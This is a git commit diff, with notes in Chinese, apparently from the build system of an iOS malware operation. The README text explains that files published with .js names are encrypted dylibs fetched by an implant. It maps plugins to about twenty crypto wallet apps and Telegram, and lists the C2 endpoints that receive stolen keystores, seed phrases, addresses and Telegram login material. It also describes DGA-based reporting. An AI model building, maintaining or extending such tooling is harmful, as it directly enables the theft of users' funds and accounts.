feat: xxbb
This commit is contained in:
@@ -31,6 +31,8 @@ Writes:
|
||||
- `{artifact-root}/details/` (default `../public/details`) — **published**
|
||||
- `{state-root}/out/weifile/` (default `storage/app/channel-builder-new/out/weifile`) — **staged, not moved to public**
|
||||
|
||||
每个 `details/*.js` 对应哪个 App:见 [`source/details/README.md`](source/details/README.md)。
|
||||
|
||||
`index.js` `https://[placeholder].icu` is replaced with **DGA(`c`)[0]**.
|
||||
`CACACACA` is left in place for per-channel packing.
|
||||
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
# details 文件说明
|
||||
|
||||
`php artisan xxbb:build` 会把本目录复制到 `public/details/`,给植入后的 native 按需下载。
|
||||
|
||||
文件名是线上的 `.js` 外壳,内容是 **7zAES 包着的 dylib**(密码见 builder README,不要改)。`show.html` 是目录:core + 各 App 对应哪一份插件。
|
||||
|
||||
编号缺 `o15`:原包就没有这一号。`wap.js`(WhatsApp)在原 C2 上 404,这里也没有。
|
||||
|
||||
## 公共
|
||||
|
||||
| 文件 | 作用 |
|
||||
|------|------|
|
||||
| `show.html` | 配置清单(刷新间隔、core 地址、各 bundle 插件 URL) |
|
||||
| `corepayload.js` | 主植入。上报 / DGA 的 `c` 打在这里(6 处) |
|
||||
| `helion.js` | SpringBoard(`com.apple.springboard`),常驻,`cold=0` |
|
||||
|
||||
## 钱包 / 业务插件
|
||||
|
||||
文件名里的字母对应 native 上报字段 `a`(见 `WalletSource`)。
|
||||
|
||||
| 文件 | `a` | App | bundleId |
|
||||
|------|-----|-----|----------|
|
||||
| `a1lib.js` | a / a1 | MetaMask | `io.metamask.MetaMask` |
|
||||
| `b2lib.js` | b / b1 | imToken | `im.token.app` |
|
||||
| `c3lib.js` | c | TronLink | `com.tronlink.hdwallet` |
|
||||
| `d4lib.js` | d | Trust Wallet | `com.sixdays.trust` |
|
||||
| `e5lib.js` | e | Coinbase Wallet | `org.toshi.distribution` |
|
||||
| `f6lib.js` | f | BitKeep | `com.bitkeep.os` |
|
||||
| `g7lib.js` | g | Tonkeeper | `com.jbig.tonkeeper` |
|
||||
| `h8lib.js` | h / h1 | Uniswap | `com.uniswap.mobile` |
|
||||
| `i9lib.js` | i | Phantom | `app.phantom` |
|
||||
| `j10lib.js` | j | MyTonWallet | `org.mytonwallet.app` |
|
||||
| `k11lib.js` | k | Exodus | `exodus-movement.exodus` |
|
||||
| `l12lib.js` | l | Ronin | `com.skymavis.Genesis` |
|
||||
| `m13lib.js` | m | Krystal | `com.kyrd.krystal.ios` |
|
||||
| `n14lib.js` | n | Tonhub | `com.tonhub.app` |
|
||||
| `p16lib.js` | p | Global Wallet | `com.global.wallet.ios` |
|
||||
| `q17lib.js` | q | Coin98 | `coin98.crypto.finance.insights` |
|
||||
| `r18lib.js` | r | Bitpie | `com.bitpie.wallet` |
|
||||
| `s19lib.js` | s | Solflare | `com.solflare.mobile` |
|
||||
| `t20lib.js` | t | OKX | `com.okex.OKExAppstoreFull` |
|
||||
| `tglib.js` | tg | Telegram | `ph.telegra.Telegraph` |
|
||||
|
||||
钱包插件跑起来后走 `/uj` `/us` `/ub` `/ba` `/result` 上报 keystore / 助记词 / 地址。`tglib.js` 走 `/api/tg/t`(Telegram 登录材料),不是助记词。
|
||||
@@ -150,7 +150,7 @@ def sha256_hex(data: bytes) -> str:
|
||||
|
||||
|
||||
def ignore_junk(_dir: str, names: list[str]) -> set[str]:
|
||||
skip = {"_bak", "__pycache__", ".DS_Store", "decoded", "mm", "stages"}
|
||||
skip = {"_bak", "__pycache__", ".DS_Store", "decoded", "mm", "stages", "README.md"}
|
||||
return {n for n in names if n in skip or n.endswith(".pyc")}
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user